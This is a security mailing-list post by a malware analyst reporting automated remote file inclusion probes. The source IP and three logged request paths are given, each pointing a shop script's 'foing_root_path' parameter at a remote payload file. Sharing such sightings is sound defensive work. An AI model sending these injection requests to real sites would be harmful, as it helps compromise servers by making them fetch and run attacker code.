Saw in an automated 'search sequence' detected here:

http://usuarios.arnet.com.ar/larry123/safe.txt

sequence source ip:
87.106.98.90 (perl automation)

sequence:
/en/productos/shop.php?foing_root_path=http://usuarios.arnet.com.ar/larry123/safe.txt?
/shop.php?foing_root_path=http://usuarios.arnet.com.ar/larry123/safe.txt?
/en/shop.php?foing_root_path=http://usuarios.arnet.com.ar/larry123/safe.txt?

Hosting site warned.

-- 
Regards,

Julio Canto | VirusTotal.com | Hispasec Sistemas Lab | Tlf:
+34.902.161.025 | Fax: +34.952.028.694 | PGP Key ID: EF618D2B |
[EMAIL PROTECTED]
_______________________________________________
phishing mailing list
[email protected]
http://www.whitestar.linuxbox.org/mailman/listinfo/phishing

Reply via email to